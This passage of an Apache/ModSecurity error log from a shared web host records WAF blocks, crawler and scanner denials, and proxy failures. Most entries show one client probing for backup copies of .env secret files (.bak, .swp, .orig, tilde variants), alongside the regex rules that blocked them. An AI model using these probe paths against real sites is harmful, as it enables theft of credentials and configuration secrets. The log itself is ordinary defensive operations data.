207.241.173.18:45102] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production.bak"] [unique_id "ai30K9yTkdrNlD40tSHK1AAAABw"] [Sat Jun 13 18:22:03.315410 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:22:03.315780 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:22:03.393229 2026] [proxy:error] [pid 646876:tid 647037] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.393300 2026] [proxy_http:error] [pid 646876:tid 647037] [client 207.241.173.18:44116] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.393895 2026] [proxy:error] [pid 646876:tid 647037] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.393941 2026] [proxy_http:error] [pid 646876:tid 647037] [client 207.241.173.18:44116] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.393936 2026] [security2:error] [pid 646876:tid 647126] [client 114.119.154.39:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "goldensnifferproducts.com"] [uri "/gspzcrt/index.php"] [unique_id "ai30K9yTkdrNlD40tSHK3QAAAHY"], referer: https://goldensnifferproducts.com/gspzcrt/index.php?main_page=product_info&products_id=52 [Sat Jun 13 18:22:03.402767 2026] [security2:error] [pid 646876:tid 647057] [client 207.241.173.18:45114] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production.backup"] [unique_id "ai30K9yTkdrNlD40tSHK3gAAADE"] [Sat Jun 13 18:22:03.402793 2026] [security2:error] [pid 715691:tid 715954] [client 207.241.173.18:45106] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production.old"] [unique_id "ai30K7V-dFiaX9AtWiQXDgAAAXs"] [Sat Jun 13 18:22:03.403712 2026] [security2:error] [pid 715691:tid 715894] [client 207.241.173.18:45094] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local.copy"] [unique_id "ai30K7V-dFiaX9AtWiQXDwAAAT8"] [Sat Jun 13 18:22:03.405117 2026] [security2:error] [pid 715691:tid 715950] [client 207.241.173.18:45054] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local~"] [unique_id "ai30K7V-dFiaX9AtWiQXEAAAAXc"] [Sat Jun 13 18:22:03.405418 2026] [security2:error] [pid 715691:tid 715961] [client 207.241.173.18:45070] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local.swp"] [unique_id "ai30K7V-dFiaX9AtWiQXEQAAAYI"] [Sat Jun 13 18:22:03.406069 2026] [security2:error] [pid 715691:tid 715844] [client 207.241.173.18:45024] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local.backup"] [unique_id "ai30K7V-dFiaX9AtWiQXEgAAAQ0"] [Sat Jun 13 18:22:03.406311 2026] [proxy:error] [pid 715691:tid 715942] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.406381 2026] [proxy_http:error] [pid 715691:tid 715942] [client 207.241.173.18:45038] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.407139 2026] [proxy:error] [pid 715691:tid 715942] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.407180 2026] [proxy_http:error] [pid 715691:tid 715942] [client 207.241.173.18:45038] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.407412 2026] [security2:error] [pid 715691:tid 715908] [client 207.241.173.18:45008] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.copy"] [unique_id "ai30K7V-dFiaX9AtWiQXFAAAAU0"] [Sat Jun 13 18:22:03.426644 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.14:22906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:03.426931 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.14:22906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:03.482489 2026] [security2:error] [pid 715691:tid 715883] [client 207.241.173.18:45016] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local.bak"] [unique_id "ai30K7V-dFiaX9AtWiQXGAAAATQ"] [Sat Jun 13 18:22:03.483419 2026] [security2:error] [pid 646876:tid 647094] [client 207.241.173.18:45006] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.orig"] [unique_id "ai30K9yTkdrNlD40tSHK4gAAAFY"] [Sat Jun 13 18:22:03.483419 2026] [security2:error] [pid 715691:tid 715964] [client 207.241.173.18:44978] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env~"] [unique_id "ai30K7V-dFiaX9AtWiQXGQAAAYU"] [Sat Jun 13 18:22:03.483428 2026] [security2:error] [pid 646876:tid 647063] [client 207.241.173.18:44992] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.swp"] [unique_id "ai30K9yTkdrNlD40tSHK4wAAADc"] [Sat Jun 13 18:22:03.483793 2026] [proxy:error] [pid 715691:tid 715841] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.483829 2026] [proxy:error] [pid 646876:tid 647130] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.483857 2026] [proxy_http:error] [pid 715691:tid 715841] [client 207.241.173.18:44954] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.483878 2026] [proxy_http:error] [pid 646876:tid 647130] [client 207.241.173.18:44960] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.484037 2026] [security2:error] [pid 715691:tid 715921] [client 207.241.173.18:44962] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local.old"] [unique_id "ai30K7V-dFiaX9AtWiQXGwAAAVo"] [Sat Jun 13 18:22:03.484283 2026] [proxy:error] [pid 715691:tid 715841] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.484302 2026] [proxy:error] [pid 646876:tid 647130] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.484305 2026] [proxy_http:error] [pid 715691:tid 715841] [client 207.241.173.18:44954] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.484325 2026] [proxy_http:error] [pid 646876:tid 647130] [client 207.241.173.18:44960] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.484387 2026] [proxy:error] [pid 646876:tid 647019] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.484430 2026] [proxy_http:error] [pid 646876:tid 647019] [client 207.241.173.18:44950] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.484906 2026] [proxy:error] [pid 646876:tid 647019] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:03.484930 2026] [proxy_http:error] [pid 646876:tid 647019] [client 207.241.173.18:44950] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:03.488137 2026] [access_compat:error] [pid 646876:tid 646968] [remote 57.141.14.73:38234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:03.488603 2026] [access_compat:error] [pid 646876:tid 646968] [remote 57.141.14.73:38234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:03.806904 2026] [security2:error] [pid 646876:tid 646917] [remote 17.246.15.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30K9yTkdrNlD40tSHK8wAADiY"] [Sat Jun 13 18:22:03.812894 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:22:03.813327 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:22:04.204467 2026] [security2:error] [pid 715691:tid 715907] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/spl/tests/countable_count_variation1.phpt"] [unique_id "ai30LLV-dFiaX9AtWiQXNAAAAUw"] [Sat Jun 13 18:22:04.212843 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.7:39541] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:04.213264 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.7:39541] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:04.321666 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2s= [Sat Jun 13 18:22:04.322103 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2s= [Sat Jun 13 18:22:04.329200 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.97:31788] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:04.329639 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.97:31788] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:04.392745 2026] [proxy:error] [pid 715691:tid 715850] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:04.392816 2026] [proxy_http:error] [pid 715691:tid 715850] [client 207.241.173.18:45024] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:04.394302 2026] [proxy:error] [pid 715691:tid 715850] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:04.394352 2026] [proxy_http:error] [pid 715691:tid 715850] [client 207.241.173.18:45024] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:04.395811 2026] [security2:error] [pid 715691:tid 715926] [client 207.241.173.18:45128] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production~"] [unique_id "ai30LLV-dFiaX9AtWiQXQQAAAV8"] [Sat Jun 13 18:22:04.395809 2026] [security2:error] [pid 715691:tid 715884] [client 207.241.173.18:45150] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production.orig"] [unique_id "ai30LLV-dFiaX9AtWiQXQAAAATU"] [Sat Jun 13 18:22:04.396111 2026] [proxy:error] [pid 715691:tid 715849] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:04.396176 2026] [proxy_http:error] [pid 715691:tid 715849] [client 207.241.173.18:45118] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:04.396622 2026] [proxy:error] [pid 715691:tid 715849] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:04.396679 2026] [proxy_http:error] [pid 715691:tid 715849] [client 207.241.173.18:45118] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:04.500323 2026] [security2:error] [pid 715691:tid 715952] [client 207.241.173.18:45164] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.local.orig"] [unique_id "ai30LLV-dFiaX9AtWiQXRgAAAXk"] [Sat Jun 13 18:22:04.557190 2026] [security2:error] [pid 646876:tid 647127] [client 192.185.4.126:53230] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "www.lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30KNyTkdrNlD40tSHKXwAAdwY"] [Sat Jun 13 18:22:04.585034 2026] [security2:error] [pid 715691:tid 715846] [client 207.241.173.18:45138] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "cpcontacts.weiserfestival.com"] [uri "/___proxy_subdomain_cpcontacts/.env.production.swp"] [unique_id "ai30LLV-dFiaX9AtWiQXSwAAAQ8"] [Sat Jun 13 18:22:04.589058 2026] [proxy:error] [pid 715691:tid 715960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:04.589146 2026] [proxy_http:error] [pid 715691:tid 715960] [client 207.241.173.18:45082] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:04.590316 2026] [proxy:error] [pid 715691:tid 715960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:04.590358 2026] [proxy_http:error] [pid 715691:tid 715960] [client 207.241.173.18:45082] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:04.606238 2026] [security2:error] [pid 715691:tid 715791] [remote 47.128.120.233:0] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "www.arab-cgt.org"] [uri "/robots.txt"] [unique_id "ai30LLV-dFiaX9AtWiQXUAABYFA"] [Sat Jun 13 18:22:04.619368 2026] [access_compat:error] [pid 646876:tid 646888] [remote 57.141.14.68:32556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:04.619825 2026] [access_compat:error] [pid 646876:tid 646888] [remote 57.141.14.68:32556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:04.623383 2026] [security2:error] [pid 715691:tid 715805] [remote 17.241.227.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30LLV-dFiaX9AtWiQXUQABQl4"] [Sat Jun 13 18:22:04.652495 2026] [access_compat:error] [pid 646876:tid 647000] [remote 57.141.14.34:21498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:04.652816 2026] [access_compat:error] [pid 646876:tid 647000] [remote 57.141.14.34:21498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:04.834399 2026] [access_compat:error] 